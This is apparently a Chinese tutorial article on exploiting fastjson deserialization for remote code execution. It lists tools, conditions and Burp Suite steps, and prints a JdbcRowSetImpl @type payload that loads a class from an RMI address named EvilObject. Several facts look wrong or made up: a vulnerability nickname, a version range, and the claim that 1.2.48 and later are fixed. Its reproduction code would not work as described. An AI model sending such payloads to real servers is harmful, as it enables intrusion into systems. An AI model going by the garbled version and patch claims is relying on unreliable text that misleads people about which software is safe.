一、fastjson漏洞利用工具
fastjson漏洞利用是网络攻击中的一种利用方式,为了方便攻击者,已经有很多的工具可供选择,例如redr2,xray,whatweb等。这些工具都可以帮助用户自动化地寻找存在fastjson漏洞的网站并进行攻击。
二、fastjson漏洞利用条件
fastjson漏洞利用需要满足以下两个条件:
1、可以将第一次请求的json响应数据保存下来
2、可以伪造json数据发送到服务器
一般情况下,可以通过Burp Suite等代理工具来保存第一次请求的json响应数据,并使用类似Postman的工具伪造json数据发送到服务器上。
三、fastjson最新漏洞
fastjson最新漏洞是在2021年6月曝光的,攻击者可以通过构造恶意的json数据来实现远程代码执行。这个漏洞被命名为“天王裸奔”。
四、fastjson漏洞原理
fastjson漏洞原理是因为fastjson在反序列化时对数据结构没有严格的限制,导致攻击者可以在json数据中夹带恶意的类。攻击者可以通过构造不同的类来实现远程代码执行。
五、fastjson反序列化
fastjson反序列化是fastjson将json数据转化为Java对象的过程。
public static <T> T parseObject(String json, Class<T> clazz);
上述代码调用parseObject方法将json字符串转化为Java对象。
六、fastjson漏洞复现
fastjson漏洞复现可以通过以下漏洞代码实现:
package com.alibaba.fastjson.demo;
public class Person {
public String name;
public int age;
}
String json = "{\"name\":\"wei\",\"age\":28,\"type\":{\"@type\":\"java.lang.Class\",\"val\":\"com.alibaba.fastjson.demo.Shell\"}}";
Person person = JSON.parseObject(json, Person.class);
System.out.println(person.name);
上述代码中,Fastjson将json字符串转化为Person对象,但是type字段中恶意的类名将在转化时执行远程代码。
七、fastjson漏洞版本列表
以下是fastjson漏洞版本列表:
fastjson 1.2.24到1.2.47
fastjson 1.1.35到1.1.71
fastjson 1.2.48以及之后的版本已经修复了这个漏洞。
八、fastjson漏洞利用原理
fastjson漏洞利用的原理是在构造json数据时夹带恶意的类名。通过构造不同的类名,攻击者可以实现远程代码执行。
九、fastjson漏洞利用特征
fastjson漏洞的利用特征是type字段中的@type关键词。
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://127.0.0.1:1099/EvilObject",
"autoCommit": true
}
上述例子中的@type关键词可以在反序列化时执行远程代码。
十、fastjson漏洞利用详解
fastjson漏洞利用的步骤如下:
1、使用Burp Suite等工具保存第一次请求的数据。
2、构造恶意的json数据,夹带恶意的类名。
3、使用Burp Suite等工具修改第一次请求的数据,将恶意的json数据发送到服务器上。
上述步骤可以成功地利用fastjson漏洞实现远程代码执行。
十一、总结
fastjson漏洞是网络攻击中常见的一种类型。攻击者可以通过构造json数据夹带恶意的类名实现远程代码执行。为了防止漏洞的利用,用户需要及时升级fastjson版本,并且需要过滤恶意的json数据。